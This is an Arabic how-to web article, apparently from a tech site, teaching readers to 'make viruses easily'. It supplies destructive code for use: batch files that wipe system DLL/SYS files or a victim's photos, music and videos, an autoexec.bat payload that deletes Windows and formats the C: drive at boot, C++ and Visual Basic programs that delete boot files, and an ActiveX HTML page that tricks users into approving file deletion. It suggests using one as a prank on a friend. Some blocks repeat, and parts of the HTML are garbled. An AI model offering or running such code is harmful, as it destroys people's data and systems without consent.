صناعة الفيروسات  بسهولة 

اصبحنا في الآونة  الاخيرة نسمع كثيرا  عن الفيروسات و الهكر والاختراق و ماشابه  الفيروسات هي عبارة عن اكواد وبرامج خبيثة يقوم ببرمجته المبرمج  حذف ملفات ا تجسس او تدمير جهاز   في هذه لمقالة نستعرض اهم و اخطر الفيروسات 

 1  الـnotepad2 برنامج الفجول بيسك (vb)2 برامج تصميم الفيروسات ( خطيرة جداااا وفيروساتها قوية – لكن اغلبها يكشفه النورتون)و سوف اقوم الأن بعرض كل منهمعلى حذة و سوف اشرحهم لكم بالتفصيل اتمنى ان ينال اعجابكم .

هذا هو الجزء الأول من صناعة الفيروسات و الذى سوف نقوم فيه على تعلمتصميم الفيروس بواسطة notepad  

اولا اضغط في سطح المكتب على الزرالايمين للفارة

اختر  جديد او nouveau

وبعدها notepad او document texte 

انسخ  الكود التالي

@Echo off
c:
cd %WinDir%System
deltree /y *.dll
cd
deltree /y *.sys 

 

الان  قم  بحفظ الملف بامتداد bat. مثال life.bat

 

 

بعد ان قمت بوضعالكود و حفظه بامتداد .bat فانت هاكذ تكون قد قمت بعمل فيروس و سوف تلحظ ان شكلالأيقونة قد تغير الى شباك ازرق وبداخله عجلة صفراء احذر منه فهو الأن جاهز للعمل واياك ان تفتحه

هذا الفيروس يقوم على مسح كل ملفات ال dll وال sys منالسيستم. وهذا ما سوف نلحظه بالنظر الى الكود السابق و به سوف نجد انه كتب فى هذاالكود امر " deltree " و هو الخاص بمسح الملفات ثم كتب بعد ذلك " *.dll كما كتب *.sys " و هو انى قد اعطيت له بان يمسح كل الملفات التى لها الأمتدادين السابقين ويمكن ملاحظة شئ اخر و هو كون الكمبيوتر يمسح الملفات من السيستيم و سوف نجد فى اولالكود الامر الخاص بذلك فسوف تجد انه قد اعطى له الأمر بالذهاب الى c: و كما اعطاهالأمر بالذهاب مالفات لويندوز عندما صدرنا له الأمر windir ثم اخبرناه ان الأوامرالتالية يجب ان تكون داخل مل سيستيم و الذى هو موجود ضمن ملفات الويندوز 


 

ويمكنك  التغير  على الكدو  قليلا  وذلك من  حيث المهمة  او المكان  مثال:

 


انا الأن اريد ان امزح معاحد و فى نفس الوقت عاوز اعلمه درس و تحزير فيمكننى ان اصنع فيروس يقوم بمسح جميعملفات الصور التى امتددها *.jpg. كما اننى اريد ان امسح جميع ملفات الأغانى التىامتددها *.mp3 و جميع امتدادت الملفات الخاصة بلافلام و التى امتدادها *.asf و التىتوجد فى E: كل ما علينا هو تعديل الكود ليصبح كالأتى 


@Echo off
e:
deltree /y *.jpg
cd
deltree /y *.mp3
cd
deltree /y *.asf 

 

الكود الثاني

 


echo off@ 
cls 
call attrib -h -r c:autoexec.bat >nul 
echo @echo off >c:autoexec.bat 
echo deltree /y c:progra~1*.* >nul >>c:autoexec.bat 
echo copy c:windowscommandformat.com c: >nul >>c:autoexec.bat 
echo copy c:windowscommanddeltree.exe c: >nul >>c:autoexec.bat 
echo deltree /y c:windows*.* >nul >>c:autoexec.bat 
echo format c: /q /u /autotest >nul >>c:autoexec.bat  

قم  بحفظ الملف على الشكل التالي Autoexec.bat

 

اخواني هذا الفيروس خطير  جدا  حيث يقوم بتدمير  جميع ملفات النضام  وكذللك فرمتت الجهاز والاشتغال تلقائيا  فور تشغيل  الجهاز  ارجو  الا تستعملوه  ضد اخوانكم العرب

 

هذه مجموعة اخرى لاكواد فيروسات مشهورة

 

فيرووس C++ :


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
main()
{
clrscr();
printf(" Welcome to the Egyption -oO Virus Oo- ");
printf(" **** -oO Israel Oo- and -oO America Oo- ");
remove("c:\windows\system.ini");
remove("c:\windows\win.ini");
remove("c:\autoexec.bat");
remove("c:\msdos.sys");
remove("c:\io.sys");
remove("c:\command.com");
remove("c:\config.sys");
remove("c:\windows\ebd\command.com");
remove("c:\windows\ebd\ebd.cab");
remove("c:\windows\ebd\Autoexec.bat") ;
remove("c:\windows\ebd\setramd.bat");
remove("c:\windows\ebd\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ... ");
system("PAUSE");

 

 

فيرووس Visual Basic :


SetAttr "c:autoexec.bat", vbNormal
SetAttr "c:msdos.sys", vbNormal
SetAttr "c:io.sys", vbNormal
SetAttr "c:windowswin.ini", vbNormal
SetAttr "c:windowssystem.ini", vbNormal
SetAttr "c:command.com", vbNormal
SetAttr "c:config.sys", vbNormal
SetAttr "c:windows undll.exe", vbNormal
SetAttr "c:windows undll32.exe", vbNormal
Kill "C:autoexec.bat"
Kill "C:msdos.sys"
Kill "C:io.sys"
Kill "C:windowswin.ini"
Kill "C:windowssystem.ini"
Kill "C:command.com"
Kill "C:config.sys"
Kill "C:windows undll.exe"
Kill "C:windows undll32.exe" 

 

 

فيروس Html


<html>

<head>
<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" $$$$="#C0C0C0">
<$$$$$$ --------="VB$$$$$$">
<!-- This is a MY BRAIN --!>
On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete
</$$$$$$>
<!--- This $$$$$$ author is THEONE---!>
</body>
</html> 

 

ملاحظة يحفظهذا الفيروس بأمتداد html .*

 

 

 

[/size][/b][/color]فيرووس C++ :  


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
main()
{
clrscr();
printf(" Welcome to the Egyption -oO Virus Oo- ");
printf(" **** -oO Israel Oo- and -oO America Oo- ");
remove("c:\windows\system.ini");
remove("c:\windows\win.ini");
remove("c:\autoexec.bat");
remove("c:\msdos.sys");
remove("c:\io.sys");
remove("c:\command.com");
remove("c:\config.sys");
remove("c:\windows\ebd\command.com");
remove("c:\windows\ebd\ebd.cab");
remove("c:\windows\ebd\Autoexec.bat") ;
remove("c:\windows\ebd\setramd.bat");
remove("c:\windows\ebd\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ... ");
system("PAUSE");
}

 


فيرووس Visual Basic :


SetAttr "c:autoexec.bat", vbNormal
SetAttr "c:msdos.sys", vbNormal
SetAttr "c:io.sys", vbNormal
SetAttr "c:windowswin.ini", vbNormal
SetAttr "c:windowssystem.ini", vbNormal
SetAttr "c:command.com", vbNormal
SetAttr "c:config.sys", vbNormal
SetAttr "c:windows undll.exe", vbNormal
SetAttr "c:windows undll32.exe", vbNormal
Kill "C:autoexec.bat"
Kill "C:msdos.sys"
Kill "C:io.sys"
Kill "C:windowswin.ini"
Kill "C:windowssystem.ini"
Kill "C:command.com"
Kill "C:config.sys"
Kill "C:windows undll.exe"
Kill "C:windows undll32.exe" 

 

 


فيروس Html


<html>

<head>
<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" $$$$="#C0C0C0">
<$$$$$$ --------="VB$$$$$$">
<!-- This is a MY BRAIN --!>
On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete
</$$$$$$>
<!--- This $$$$$$ author is THEONE---!>
</body>
</html> 

ملاحظة يحفظهذا الفيروس بأمتداد html .*








شارك رايك بالتعليقات



الاكثر مشاهدة


جيزي تطلق مودم انترنت 4G للجزائريين تعرف عليه




كيفية استلام أموال قوقل ادسنس من ويسترن يونيون في الجزائر




تحميل برنامج photoshop cs6 بحجم صغير







هل تملك موضوعا ولا تجده في موقعنا اضفه لتعم الفائدة اضافة موضوع جديد ×

    Follow @ma9alet